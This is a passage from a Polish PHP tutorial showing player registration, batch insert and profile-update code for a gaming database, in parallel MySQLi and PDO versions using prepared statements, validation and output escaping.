            border: 1px solid #ddd;
            border-radius: 5px;
            font-size: 14px;
            transition: border-color 0.3s;
        }
        input:focus {
            outline: none;
            border-color: #667eea;
        }
        button {
            width: 100%;
            padding: 12px;
            background: #667eea;
            color: white;
            border: none;
            border-radius: 5px;
            font-size: 16px;
            font-weight: bold;
            cursor: pointer;
            transition: background 0.3s;
        }
        button:hover {
            background: #764ba2;
        }
        .error {
            background: #f8d7da;
            color: #721c24;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
            border-left: 4px solid #f5c6cb;
        }
        .error ul {
            margin-left: 20px;
        }
        .success {
            background: #d4edda;
            color: #155724;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
            border-left: 4px solid #c3e6cb;
            text-align: center;
        }
        .info {
            background: #d1ecf1;
            color: #0c5460;
            padding: 10px;
            border-radius: 5px;
            margin-top: 15px;
            font-size: 12px;
        }
    &lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;

&lt;div class="container"&gt;
    &lt;h1&gt;Rejestracja Gracza&lt;/h1&gt;
    
    &lt;?php if ($success): ?&gt;
        &lt;div class="success"&gt;
            &lt;?= htmlspecialchars($success_message) ?&gt;
            &lt;br&gt;&lt;br&gt;
            &lt;a href="profil.php?id=&lt;?= $new_player_id ?&gt;"&gt;Zobacz profil&lt;/a&gt; | 
            &lt;a href="lista_graczy.php"&gt;Lista graczy&lt;/a&gt;
        &lt;/div&gt;
    &lt;?php endif; ?&gt;
    
    &lt;?php if (!empty($errors)): ?&gt;
        &lt;div class="error"&gt;
            &lt;strong&gt;Błędy walidacji:&lt;/strong&gt;
            &lt;ul&gt;
                &lt;?php foreach ($errors as $error): ?&gt;
                    &lt;li&gt;&lt;?= htmlspecialchars($error) ?&gt;&lt;/li&gt;
                &lt;?php endforeach; ?&gt;
            &lt;/ul&gt;
        &lt;/div&gt;
    &lt;?php endif; ?&gt;
    
    &lt;form method="POST"&gt;
        &lt;div class="form-group"&gt;
            &lt;label&gt;Nick gracza:&lt;/label&gt;
            &lt;input type="text" name="username" 
                   value="&lt;?= htmlspecialchars($_POST&#91;'username'] ?? '') ?&gt;" 
                   placeholder="np. ProGamer123" 
                   required&gt;
        &lt;/div&gt;
        
        &lt;div class="form-group"&gt;
            &lt;label&gt;Email:&lt;/label&gt;
            &lt;input type="email" name="email" 
                   value="&lt;?= htmlspecialchars($_POST&#91;'email'] ?? '') ?&gt;" 
                   placeholder="twoj@email.com" 
                   required&gt;
        &lt;/div&gt;
        
        &lt;div class="form-group"&gt;
            &lt;label&gt;Hasło:&lt;/label&gt;
            &lt;input type="password" name="password" 
                   placeholder="Min. 8 znaków" 
                   required&gt;
        &lt;/div&gt;
        
        &lt;div class="form-group"&gt;
            &lt;label&gt;Powtórz hasło:&lt;/label&gt;
            &lt;input type="password" name="password_confirm" 
                   placeholder="Powtórz hasło" 
                   required&gt;
        &lt;/div&gt;
        
        &lt;button type="submit"&gt;Zarejestruj się&lt;/button&gt;
        
        &lt;div class="info"&gt;
            &lt;strong&gt;Wymagania:&lt;/strong&gt;&lt;br&gt;
            • Nick: 3-50 znaków (litery, cyfry, podkreślnik)&lt;br&gt;
            • Hasło: minimum 8 znaków&lt;br&gt;
            • Poprawny format email
        &lt;/div&gt;
    &lt;/form&gt;
&lt;/div&gt;

&lt;/body&gt;
&lt;/html&gt;</code></pre>



<h4 class="wp-block-heading"><strong>PDO:</strong></h4>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
try {
    $pdo = new PDO(
        'mysql:host=localhost;dbname=gaming_hub;charset=utf8mb4',
        'root',
        '',
        &#91;
            PDO::ATTR_ERRMODE =&gt; PDO::ERRMODE_EXCEPTION,
            PDO::ATTR_DEFAULT_FETCH_MODE =&gt; PDO::FETCH_ASSOC,
            PDO::ATTR_EMULATE_PREPARES =&gt; false
        ]
    );
    
    $errors = &#91;];
    $success = false;
    
    // PROFESJONALNE - sprawdzamy metodę HTTP
    if ($_SERVER&#91;'REQUEST_METHOD'] === 'POST') {
        // Pobieramy i czyszczenie dane z formularza
        $username = trim($_POST&#91;'username'] ?? '');
        $email = trim($_POST&#91;'email'] ?? '');
        $password = $_POST&#91;'password'] ?? '';
        $password_confirm = $_POST&#91;'password_confirm'] ?? '';
        
        // Walidacja danych
        if (empty($username)) {
            $errors&#91;] = "Nick jest wymagany";
        } elseif (strlen($username) &lt; 3) {
            $errors&#91;] = "Nick musi mieć minimum 3 znaki";
        } elseif (strlen($username) &gt; 50) {
            $errors&#91;] = "Nick może mieć maksymalnie 50 znaków";
        } elseif (!preg_match('/^&#91;a-zA-Z0-9_]+$/', $username)) {
            $errors&#91;] = "Nick może zawierać tylko litery, cyfry i podkreślnik";
        }
        
        if (empty($email)) {
            $errors&#91;] = "Email jest wymagany";
        } elseif (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
            $errors&#91;] = "Nieprawidłowy format email";
        }
        
        if (empty($password)) {
            $errors&#91;] = "Hasło jest wymagane";
        } elseif (strlen($password) &lt; 8) {
            $errors&#91;] = "Hasło musi mieć minimum 8 znaków";
        }
        
        if ($password !== $password_confirm) {
            $errors&#91;] = "Hasła nie są identyczne";
        }
        
        // Jeśli brak błędów walidacji - sprawdzamy czy nick/email już istnieją
        if (empty($errors)) {
            // BEZPIECZNE - sprawdzamy czy username już istnieje
            $stmt = $pdo-&gt;prepare("SELECT id FROM players WHERE username = :username");
            $stmt-&gt;execute(&#91;'username' =&gt; $username]);
            
            if ($stmt-&gt;fetch()) {
                $errors&#91;] = "Nick '{$username}' jest już zajęty";
            }
            
            // BEZPIECZNE - sprawdzamy czy email już istnieje
            $stmt = $pdo-&gt;prepare("SELECT id FROM players WHERE email = :email");
            $stmt-&gt;execute(&#91;'email' =&gt; $email]);
            
            if ($stmt-&gt;fetch()) {
                $errors&#91;] = "Email '{$email}' jest już zarejestrowany";
            }
        }
        
        // Jeśli wszystko OK - dodajemy gracza do bazy
        if (empty($errors)) {
            // Hashowanie hasła (NIGDY nie zapisuj hasła w plain text!)
            $password_hash = password_hash($password, PASSWORD_DEFAULT);
            
            // BEZPIECZNE - INSERT z prepared statement
            $stmt = $pdo-&gt;prepare("INSERT INTO players (username, email, password, created_at) VALUES (:username, :email, :password, NOW())");
            
            if ($stmt-&gt;execute(&#91;
                'username' =&gt; $username,
                'email' =&gt; $email,
                'password' =&gt; $password_hash
            ])) {
                // Pobieramy ID dodanego gracza
                $new_player_id = $pdo-&gt;lastInsertId();
                
                // Sprawdzamy ile wierszy zostało dodanych
                $affected_rows = $stmt-&gt;rowCount();
                
                $success = true;
                $success_message = "Gracz '{$username}' został zarejestrowany! ID: {$new_player_id}";
                
                // Możemy od razu zalogować użytkownika
                // session_start();
                // $_SESSION&#91;'user_id'] = $new_player_id;
                // $_SESSION&#91;'username'] = $username;
            }
        }
    }
    
} catch (PDOException $e) {
    error_log("DB Error: {$e-&gt;getMessage()}");
    $errors&#91;] = "Wystąpił błąd podczas rejestracji. Spróbuj ponownie.";
}

$pdo = null;
?&gt;

&lt;!DOCTYPE html&gt;
&lt;html lang="pl"&gt;
&lt;head&gt;
    &lt;meta charset="UTF-8"&gt;
    &lt;title&gt;Rejestracja gracza&lt;/title&gt;
    &lt;style&gt;
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        body {
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            min-height: 100vh;
            display: flex;
            justify-content: center;
            align-items: center;
            padding: 20px;
        }
        .container {
            background: white;
            padding: 40px;
            border-radius: 10px;
            box-shadow: 0 10px 25px rgba(0,0,0,0.2);
            width: 100%;
            max-width: 500px;
        }
        h1 {
            margin-bottom: 30px;
            color: #333;
            text-align: center;
        }
        .form-group {
            margin-bottom: 20px;
        }
        label {
            display: block;
            margin-bottom: 5px;
            color: #555;
            font-weight: 500;
        }
        input {
            width: 100%;
            padding: 12px;
            border: 1px solid #ddd;
            border-radius: 5px;
            font-size: 14px;
            transition: border-color 0.3s;
        }
        input:focus {
            outline: none;
            border-color: #667eea;
        }
        button {
            width: 100%;
            padding: 12px;
            background: #667eea;
            color: white;
            border: none;
            border-radius: 5px;
            font-size: 16px;
            font-weight: bold;
            cursor: pointer;
            transition: background 0.3s;
        }
        button:hover {
            background: #764ba2;
        }
        .error {
            background: #f8d7da;
            color: #721c24;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
            border-left: 4px solid #f5c6cb;
        }
        .error ul {
            margin-left: 20px;
        }
        .success {
            background: #d4edda;
            color: #155724;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
            border-left: 4px solid #c3e6cb;
            text-align: center;
        }
        .info {
            background: #d1ecf1;
            color: #0c5460;
            padding: 10px;
            border-radius: 5px;
            margin-top: 15px;
            font-size: 12px;
        }
    &lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;

&lt;div class="container"&gt;
    &lt;h1&gt;Rejestracja Gracza&lt;/h1&gt;
    
    &lt;?php if ($success): ?&gt;
        &lt;div class="success"&gt;
            &lt;?= htmlspecialchars($success_message) ?&gt;
            &lt;br&gt;&lt;br&gt;
            &lt;a href="profil.php?id=&lt;?= $new_player_id ?&gt;"&gt;Zobacz profil&lt;/a&gt; | 
            &lt;a href="lista_graczy.php"&gt;Lista graczy&lt;/a&gt;
        &lt;/div&gt;
    &lt;?php endif; ?&gt;
    
    &lt;?php if (!empty($errors)): ?&gt;
        &lt;div class="error"&gt;
            &lt;strong&gt;Błędy walidacji:&lt;/strong&gt;
            &lt;ul&gt;
                &lt;?php foreach ($errors as $error): ?&gt;
                    &lt;li&gt;&lt;?= htmlspecialchars($error) ?&gt;&lt;/li&gt;
                &lt;?php endforeach; ?&gt;
            &lt;/ul&gt;
        &lt;/div&gt;
    &lt;?php endif; ?&gt;
    
    &lt;form method="POST"&gt;
        &lt;div class="form-group"&gt;
            &lt;label&gt;Nick gracza:&lt;/label&gt;
            &lt;input type="text" name="username" 
                   value="&lt;?= htmlspecialchars($_POST&#91;'username'] ?? '') ?&gt;" 
                   placeholder="np. ProGamer123" 
                   required&gt;
        &lt;/div&gt;
        
        &lt;div class="form-group"&gt;
            &lt;label&gt;Email:&lt;/label&gt;
            &lt;input type="email" name="email" 
                   value="&lt;?= htmlspecialchars($_POST&#91;'email'] ?? '') ?&gt;" 
                   placeholder="twoj@email.com" 
                   required&gt;
        &lt;/div&gt;
        
        &lt;div class="form-group"&gt;
            &lt;label&gt;Hasło:&lt;/label&gt;
            &lt;input type="password" name="password" 
                   placeholder="Min. 8 znaków" 
                   required&gt;
        &lt;/div&gt;
        
        &lt;div class="form-group"&gt;
            &lt;label&gt;Powtórz hasło:&lt;/label&gt;
            &lt;input type="password" name="password_confirm" 
                   placeholder="Powtórz hasło" 
                   required&gt;
        &lt;/div&gt;
        
        &lt;button type="submit"&gt;Zarejestruj się&lt;/button&gt;
        
        &lt;div class="info"&gt;
            &lt;strong&gt;Wymagania:&lt;/strong&gt;&lt;br&gt;
            • Nick: 3-50 znaków (litery, cyfry, podkreślnik)&lt;br&gt;
            • Hasło: minimum 8 znaków&lt;br&gt;
            • Poprawny format email
        &lt;/div&gt;
    &lt;/form&gt;
&lt;/div&gt;

&lt;/body&gt;
&lt;/html&gt;</code></pre>



<h4 class="wp-block-heading">Sprawdzanie wyniku operacji INSERT</h4>



<h5 class="wp-block-heading">Metody sprawdzania dla MySQLi:</h5>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">// 1. Pobierz ID ostatnio dodanego rekordu
$new_id = $stmt-&gt;insert_id;  // Obiektowo
$new_id = mysqli_insert_id($db);  // Proceduralnie

// 2. Sprawdź ile wierszy zostało dodanych
$affected_rows = $stmt-&gt;affected_rows;  // Obiektowo
$affected_rows = mysqli_affected_rows($db);  // Proceduralnie

// 3. Sprawdź czy zapytanie się wykonało
if ($stmt-&gt;execute()) {
    echo "Sukces!";
} else {
    echo "Błąd: {$stmt-&gt;error}";
}</code></pre>



<h5 class="wp-block-heading">Metody sprawdzania dla PDO:</h5>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">// 1. Pobierz ID ostatnio dodanego rekordu
$new_id = $pdo-&gt;lastInsertId();

// 2. Sprawdź ile wierszy zostało dodanych
$affected_rows = $stmt-&gt;rowCount();

// 3. Sprawdź czy zapytanie się wykonało
if ($stmt-&gt;execute()) {
    echo "Sukces!";
} else {
    echo "Błąd!";
}

// 4. Obsługa wyjątków (try-catch)
try {
    $stmt-&gt;execute();
    echo "Sukces!";
} catch (PDOException $e) {
    echo "Błąd: {$e-&gt;getMessage()}";
}</code></pre>



<h3 class="wp-block-heading">Przykład 2: Dodawanie wielu graczy naraz (batch INSERT)</h3>



<h4 class="wp-block-heading"><strong>MySQLi&nbsp;obiektowo:</strong></h4>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');

if ($db-&gt;connect_error) {
    die('Błąd połączenia');
}

$db-&gt;set_charset('utf8mb4');

// Tablica graczy do dodania
$gracze = &#91;
    &#91;'username' =&gt; 'TestPlayer1', 'email' =&gt; 'test1@example.com', 'level' =&gt; 5],
    &#91;'username' =&gt; 'TestPlayer2', 'email' =&gt; 'test2@example.com', 'level' =&gt; 10],
    &#91;'username' =&gt; 'TestPlayer3', 'email' =&gt; 'test3@example.com', 'level' =&gt; 15]
];

// BEZPIECZNE - przygotowanie zapytania raz
$stmt = $db-&gt;prepare("INSERT INTO players (username, email, level, created_at) VALUES (?, ?, ?, NOW())");

$dodano = 0;
$bledy = &#91;];

foreach ($gracze as $gracz) {
    // Bindowanie parametrów
    $stmt-&gt;bind_param("ssi", $gracz&#91;'username'], $gracz&#91;'email'], $gracz&#91;'level']);
    
    if ($stmt-&gt;execute()) {
        $dodano++;
        
        // Możesz pobrać ID każdego dodanego gracza
        $last_id = $stmt-&gt;insert_id;
        echo "Dodano: {$gracz&#91;'username']} (ID: {$last_id})&lt;br&gt;";
    } else {
        $bledy&#91;] = "Błąd dla {$gracz&#91;'username']}: {$stmt-&gt;error}";
    }
}

echo "&lt;br&gt;&lt;strong&gt;Podsumowanie:&lt;/strong&gt;&lt;br&gt;";
echo "Dodano: {$dodano} graczy&lt;br&gt;";
echo "Błędów: " . count($bledy) . "&lt;br&gt;";

if (!empty($bledy)) {
    echo "&lt;br&gt;&lt;strong&gt;Szczegóły błędów:&lt;/strong&gt;&lt;br&gt;";
    foreach ($bledy as $blad) {
        echo "{$blad}&lt;br&gt;";
    }
}

$stmt-&gt;close();
$db-&gt;close();
?&gt;</code></pre>



<h4 class="wp-block-heading"><strong>PDO:</strong></h4>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
try {
    $pdo = new PDO(
        'mysql:host=localhost;dbname=gaming_hub;charset=utf8mb4',
        'root',
        '',
        &#91;
            PDO::ATTR_ERRMODE =&gt; PDO::ERRMODE_EXCEPTION,
            PDO::ATTR_DEFAULT_FETCH_MODE =&gt; PDO::FETCH_ASSOC,
            PDO::ATTR_EMULATE_PREPARES =&gt; false
        ]
    );
    
    // Tablica graczy do dodania
    $gracze = &#91;
        &#91;'username' =&gt; 'TestPlayer1', 'email' =&gt; 'test1@example.com', 'level' =&gt; 5],
        &#91;'username' =&gt; 'TestPlayer2', 'email' =&gt; 'test2@example.com', 'level' =&gt; 10],
        &#91;'username' =&gt; 'TestPlayer3', 'email' =&gt; 'test3@example.com', 'level' =&gt; 15]
    ];
    
    // BEZPIECZNE - przygotowanie zapytania raz
    $stmt = $pdo-&gt;prepare("INSERT INTO players (username, email, level, created_at) VALUES (:username, :email, :level, NOW())");
    
    $dodano = 0;
    $bledy = &#91;];
    
    foreach ($gracze as $gracz) {
        try {
            $stmt-&gt;execute($gracz);
            $dodano++;
            
            // Możesz pobrać ID każdego dodanego gracza
            $last_id = $pdo-&gt;lastInsertId();
            echo "Dodano: {$gracz&#91;'username']} (ID: {$last_id})&lt;br&gt;";
            
        } catch (PDOException $e) {
            $bledy&#91;] = "Błąd dla {$gracz&#91;'username']}: {$e-&gt;getMessage()}";
        }
    }
    
    echo "&lt;br&gt;&lt;strong&gt;Podsumowanie:&lt;/strong&gt;&lt;br&gt;";
    echo "Dodano: {$dodano} graczy&lt;br&gt;";
    echo "Błędów: " . count($bledy) . "&lt;br&gt;";
    
    if (!empty($bledy)) {
        echo "&lt;br&gt;&lt;strong&gt;Szczegóły błędów:&lt;/strong&gt;&lt;br&gt;";
        foreach ($bledy as $blad) {
            echo "{$blad}&lt;br&gt;";
        }
    }
    
} catch (PDOException $e) {
    error_log("DB Error: {$e-&gt;getMessage()}");
    die('Błąd bazy danych');
}

$pdo = null;
?&gt;</code></pre>



<h2 class="wp-block-heading">UPDATE&nbsp;&#8211;&nbsp;Aktualizacja&nbsp;istniejących&nbsp;rekordów</h2>



<h3 class="wp-block-heading">Przykład 3: Edycja profilu gracza (formularz POST)</h3>



<h4 class="wp-block-heading"><strong>MySQLi obiektowo:</strong></h4>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');

if ($db-&gt;connect_error) {
    die('Błąd połączenia');
}

$db-&gt;set_charset('utf8mb4');

$errors = &#91;];
$success = false;
$gracz = null;

// Pobieramy ID gracza z URL
$player_id = (int)($_GET&#91;'id'] ?? 0);

if ($player_id &lt;= 0) {
    die('Nieprawidłowe ID gracza');
}

// Pobieramy dane gracza do wyświetlenia w formularzu
$stmt = $db-&gt;prepare("SELECT * FROM players WHERE id = ?");
$stmt-&gt;bind_param("i", $player_id);
$stmt-&gt;execute();
$wynik = $stmt-&gt;get_result();
$gracz = $wynik-&gt;fetch_assoc();
$stmt-&gt;close();

if (!$gracz) {
    die('Nie znaleziono gracza o ID: ' . $player_id);
}

// PROFESJONALNE - sprawdzamy metodę HTTP
if ($_SERVER&#91;'REQUEST_METHOD'] === 'POST') {
    // Pobieramy dane z formularza
    $email = trim($_POST&#91;'email'] ?? '');
    $level = (int)($_POST&#91;'level'] ?? 1);
    $coins = (int)($_POST&#91;'coins'] ?? 0);
    $rank_name = $_POST&#91;'rank_name'] ?? 'Bronze';
    
    // Walidacja danych
    if (empty($email)) {
        $errors&#91;] = "Email jest wymagany";
    } elseif (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
        $errors&#91;] = "Nieprawidłowy format email";
    }
    
    if ($level &lt; 1 || $level &gt; 100) {
        $errors&#91;] = "Poziom musi być między 1 a 100";
    }
    
    if ($coins &lt; 0) {
        $errors&#91;] = "Coins nie może być ujemny";
    }
    
    $allowed_ranks = &#91;'Bronze', 'Silver', 'Gold', 'Platinum', 'Diamond', 'Master', 'Grandmaster'];
    if (!in_array($rank_name, $allowed_ranks)) {
        $errors&#91;] = "Nieprawidłowa ranga";
    }
    
    // Sprawdzamy czy email nie jest już używany przez innego gracza
    if (empty($errors)) {
        $stmt = $db-&gt;prepare("SELECT id FROM players WHERE email = ? AND id != ?");
        $stmt-&gt;bind_param("si", $email, $player_id);
        $stmt-&gt;execute();
        $stmt-&gt;store_result();
        
        if ($stmt-&gt;num_rows &gt; 0) {
            $errors&#91;] = "Email '{$email}' jest już używany przez innego gracza";
        }
        $stmt-&gt;close();
    }
    
    // Jeśli brak błędów - aktualizujemy dane
    if (empty($errors)) {
        // BEZPIECZNE - UPDATE z prepared statement
        $stmt = $db-&gt;prepare("UPDATE players SET email = ?, level = ?, coins = ?, rank_name = ?, updated_at = NOW() WHERE id = ?");
        $stmt-&gt;bind_param("siisi", $email, $level, $coins, $rank_name, $player_id);
        
        if ($stmt-&gt;execute()) {
            // Sprawdzamy ile wierszy zostało zaktualizowanych
            $affected_rows = $stmt-&gt;affected_rows;
            
            if ($affected_rows &gt; 0) {
                $success = true;
                $success_message = "Profil gracza '{$gracz&#91;'username']}' został zaktualizowany! (Zmieniono {$affected_rows} rekord)";
                
                // Odświeżamy dane gracza
                $stmt_refresh = $db-&gt;prepare("SELECT * FROM players WHERE id = ?");
                $stmt_refresh-&gt;bind_param("i", $player_id);
                $stmt_refresh-&gt;execute();
                $wynik_refresh = $stmt_refresh-&gt;get_result();
                $gracz = $wynik_refresh-&gt;fetch_assoc();
                $stmt_refresh-&gt;close();
            } else {
                $success_message = "Nie wprowadzono żadnych zmian (dane są identyczne)";
            }
        } else {
            $errors&#91;] = "Wystąpił błąd podczas aktualizacji: {$stmt-&gt;error}";
        }
        
        $stmt-&gt;close();
    }
}

$db-&gt;close();
?&gt;

&lt;!DOCTYPE html&gt;
&lt;html lang="pl"&gt;
&lt;head&gt;
    &lt;meta charset="UTF-8"&gt;
    &lt;title&gt;Edycja profilu - &lt;?= htmlspecialchars($gracz&#91;'username']) ?&gt;&lt;/title&gt;
    &lt;style&gt;
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        body {
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            min-height: 100vh;
            padding: 20px;
        }
        .container {
            max-width: 800px;
            margin: 0 auto;
            background: white;
            padding: 40px;
            border-radius: 10px;
            box-shadow: 0 10px 25px rgba(0,0,0,0.2);
        }
        h1 {
            margin-bottom: 10px;
            color: #333;
        }
        .subtitle {
            color: #666;
            margin-bottom: 30px;
        }
        .form-group {
            margin-bottom: 20px;
        }
        label {
            display: block;
            margin-bottom: 5px;
            color: #555;
            font-weight: 500;
        }
        input, select {
            width: 100%;
            padding: 12px;
            border: 1px solid #ddd;
            border-radius: 5px;
            font-size: 14px;
        }
        input:focus, select:focus {
            outline: none;
            border-color: #667eea;
        }
        .form-row {
            display: grid;
            grid-template-columns: 1fr 1fr;
            gap: 20px;
        }
        button {
            width: 100%;
            padding: 12px;
            background: #667eea;
            color: white;
            border: none;
            border-radius: 5px;
            font-size: 16px;
            font-weight: bold;
            cursor: pointer;
            transition: background 0.3s;
        }
        button:hover {
            background: #764ba2;
        }
        .error {
            background: #f8d7da;
            color: #721c24;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
            border-left: 4px solid #f5c6cb;
        }
        .error ul {
            margin-left: 20px;
        }
        .success {
            background: #d4edda;
            color: #155724;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
            border-left: 4px solid #c3e6cb;
        }
        .info-box {
            background: #e7f3ff;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
            border-left: 4px solid #2196F3;
        }
        .back-link {
            display: inline-block;
            margin-top: 20px;
            color: #667eea;
            text-decoration: none;
        }
        .back-link:hover {
            text-decoration: underline;
        }
    &lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;

&lt;div class="container"&gt;
    &lt;h1&gt;Edycja profilu gracza&lt;/h1&gt;
    &lt;div class="subtitle"&gt;ID: &lt;?= $gracz&#91;'id'] ?&gt; | Nick: &lt;strong&gt;&lt;?= htmlspecialchars($gracz&#91;'username']) ?&gt;&lt;/strong&gt;&lt;/div&gt;
    
    &lt;?php if ($success): ?&gt;
        &lt;div class="success"&gt;
            &lt;?= htmlspecialchars($success_message) ?&gt;
        &lt;/div&gt;
    &lt;?php endif; ?&gt;
    
    &lt;?php if (!empty($errors)): ?&gt;
        &lt;div class="error"&gt;
            &lt;strong&gt;Błędy walidacji:&lt;/strong&gt;
            &lt;ul&gt;
                &lt;?php foreach ($errors as $error): ?&gt;
                    &lt;li&gt;&lt;?= htmlspecialchars($error) ?&gt;&lt;/li&gt;
                &lt;?php endforeach; ?&gt;
            &lt;/ul&gt;
        &lt;/div&gt;
    &lt;?php endif; ?&gt;
    
    &lt;div class="info-box"&gt;
        &lt;strong&gt;Informacje:&lt;/strong&gt;&lt;br&gt;
        • Nick gracza nie może być edytowany (to unikalna nazwa)&lt;br&gt;
        • Hasło można zmienić w osobnej sekcji zabezpieczeń&lt;br&gt;
        • Data rejestracji: &lt;?= date('d.m.Y H:i', strtotime($gracz&#91;'created_at'])) ?&gt;
    &lt;/div&gt;
    
    &lt;form method="POST"&gt;
        &lt;div class="form-group"&gt;
            &lt;label&gt;Email:&lt;/label&gt;
            &lt;input type="email" name="email" 
                   value="&lt;?= htmlspecialchars($gracz&#91;'email']) ?&gt;" 
                   required&gt;
        &lt;/div&gt;
        
        &lt;div class="form-row"&gt;
            &lt;div class="form-group"&gt;
                &lt;label&gt;Poziom (1-100):&lt;/label&gt;
                &lt;input type="number" name="level" 
                       min="1" max="100"
                       value="&lt;?= $gracz&#91;'level'] ?&gt;" 
                       required&gt;
            &lt;/div&gt;
            
            &lt;div class="form-group"&gt;
                &lt;label&gt;Coins:&lt;/label&gt;
                &lt;input type="number" name="coins" 
                       min="0"
                       value="&lt;?= $gracz&#91;'coins'] ?&gt;" 
                       required&gt;
            &lt;/div&gt;
        &lt;/div&gt;
        
        &lt;div class="form-group"&gt;
            &lt;label&gt;Ranga:&lt;/label&gt;
            &lt;select name="rank_name" required&gt;
                &lt;option value="Bronze" &lt;?= $gracz&#91;'rank_name'] == 'Bronze' ? 'selected' : '' ?&gt;&gt;Bronze&lt;/option&gt;
                &lt;option value="Silver" &lt;?= $gracz&#91;'rank_name'] == 'Silver' ? 'selected' : '' ?&gt;&gt;Silver&lt;/option&gt;
                &lt;option value="Gold" &lt;?= $gracz&#91;'rank_name'] == 'Gold' ? 'selected' : '' ?&gt;&gt;Gold&lt;/option&gt;
                &lt;option value="Platinum" &lt;?= $gracz&#91;'rank_name'] == 'Platinum' ? 'selected' : '' ?&gt;&gt;Platinum&lt;/option&gt;
                &lt;option value="Diamond" &lt;?= $gracz&#91;'rank_name'] == 'Diamond' ? 'selected' : '' ?&gt;&gt;Diamond&lt;/option&gt;
                &lt;option value="Master" &lt;?= $gracz&#91;'rank_name'] == 'Master' ? 'selected' : '' ?&gt;&gt;Master&lt;/option&gt;
                &lt;option value="Grandmaster" &lt;?= $gracz&#91;'rank_name'] == 'Grandmaster' ? 'selected' : '' ?&gt;&gt;Grandmaster&lt;/option&gt;
            &lt;/select&gt;
        &lt;/div&gt;
        
        &lt;button type="submit"&gt;Zapisz zmiany&lt;/button&gt;
    &lt;/form&gt;
    
    &lt;a href="profil.php?id=&lt;?= $player_id ?&gt;" class="back-link"&gt;← Powrót do profilu&lt;/a&gt;
&lt;/div&gt;

&lt;/body&gt;
&lt;/html&gt;</code></pre>



<h4 class="wp-block-heading"><strong>PDO:</strong></h4>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
try {
    $pdo = new PDO(
        'mysql:host=localhost;dbname=gaming_hub;charset=utf8mb4',
        'root',
        '',
        &#91;
            PDO::ATTR_ERRMODE =&gt; PDO::ERRMODE_EXCEPTION,
            PDO::ATTR_DEFAULT_FETCH_MODE =&gt; PDO::FETCH_ASSOC,
            PDO::ATTR_EMULATE_PREPARES =&gt; false
        ]
    );
    
    $errors = &#91;];
    $success = false;
    $gracz = null;
    
    // Pobieramy ID gracza z URL
    $player_id = (int)($_GET&#91;'id'] ?? 0);
    
    if ($player_id &lt;= 0) {
        die('Nieprawidłowe ID gracza');
    }
    
    // Pobieramy dane gracza do wyświetlenia w formularzu
    $stmt = $pdo-&gt;prepare("SELECT * FROM players WHERE id = :id");
    $stmt-&gt;execute(&#91;'id' =&gt; $player_id]);
    $gracz = $stmt-&gt;fetch();
    
    if (!$gracz) {
        die('Nie znaleziono gracza o ID: ' . $player_id);
    }
    
    if ($_SERVER&#91;'REQUEST_METHOD'] === 'POST') {
        // Pobieramy dane z formularza
        $email = trim($_POST&#91;'email'] ?? '');
        $level = (int)($_POST&#91;'level'] ?? 1);
        $coins = (int)($_POST&#91;'coins'] ?? 0);
        $rank_name = $_POST&#91;'rank_name'] ?? 'Bronze';
        
        // Walidacja danych
        if (empty($email)) {
            $errors&#91;] = "Email jest wymagany";
        } elseif (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
            $errors&#91;] = "Nieprawidłowy format email";
        }
        
        if ($level &lt; 1 || $level &gt; 100) {
            $errors&#91;] = "Poziom musi być między 1 a 100";
        }
        
        if ($coins &lt; 0) {
            $errors&#91;] = "Coins nie może być ujemny";
        }
        
        $allowed_ranks = &#91;'Bronze', 'Silver', 'Gold', 'Platinum', 'Diamond', 'Master', 'Grandmaster'];
        if (!in_array($rank_name, $allowed_ranks)) {
            $errors&#91;] = "Nieprawidłowa ranga";
        }
        
        // Sprawdzamy czy email nie jest już używany przez innego gracza
        if (empty($errors)) {
            $stmt = $pdo-&gt;prepare("SELECT id FROM players WHERE email = :email AND id != :id");
            $stmt-&gt;execute(&#91;'email' =&gt; $email, 'id' =&gt; $player_id]);
            
            if ($stmt-&gt;fetch()) {
                $errors&#91;] = "Email '{$email}' jest już używany przez innego gracza";
            }
        }
        
        // Jeśli brak błędów - aktualizujemy dane
        if (empty($errors)) {
            // BEZPIECZNE - UPDATE z prepared statement
            $stmt = $pdo-&gt;prepare("UPDATE players SET email = :email, level = :level, coins = :coins, rank_name = :rank_name, updated_at = NOW() WHERE id = :id");
            
